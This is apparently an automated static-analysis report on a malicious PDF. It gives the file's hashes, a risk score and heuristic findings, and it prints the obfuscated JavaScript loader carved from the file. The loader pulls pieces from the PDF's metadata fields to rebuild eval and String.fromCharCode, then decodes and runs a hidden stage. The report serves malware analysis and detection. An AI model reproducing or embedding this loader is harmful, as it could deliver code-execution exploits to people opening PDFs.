Malicious PDF — malware analysis report

Static analysis result for SHA-256 ae7753e6d7db4818…

MALICIOUS

PDF

47.9 KB Authoring application: substr First seen: 2026-05-08
MD5: 988923365be5946641486de24ebe0a76 SHA-1: 7237b269272f804fca4da03eff935498b014377c SHA-256: ae7753e6d7db481891cceca734879caf24f760b3c539b7b613e1ed1017381182
86 Risk Score

Malware Insights

The ML classifier strongly indicates maliciousness, supported by heuristic firings for embedded JavaScript within the PDF. The embedded JavaScript stream is likely intended to exploit a vulnerability in the PDF reader to execute arbitrary code. The document body is minimal and does not provide further context on the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBC9B 533 bytes
SHA-256: 5178eaee9f052e5ef4e653b5320290c127133aea5ee3237379e2dd16b7fbe73c
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
zz='keyw';
zz+='ords';
nbjha=e(zz);
l='leng';
l+='t'+'';
l+='h';
q=nbjha[v](a[l]-7,9);
d='Strin';
d+='g.';
d+='f'+'r';
d+='o';
d+=q;
oxuh=e(e('d'));
sub=v[0];
sub+='ubject';
q=nbjha[e('v')](t[l]+12)[v[0]+e(sub)+'t']('c');
k=q[t[0]+'eng'+'t'+''+'h'];
i=t[t[0]+'eng'+'t'+''+'h']-2;
for(;i!==k;){
	qvygn = 1*(q[i]);
	i++;
	qvygn -= (-1)*(q[i]);
	s2 += oxuh(qvygn);
	i++;
}
e(s2);

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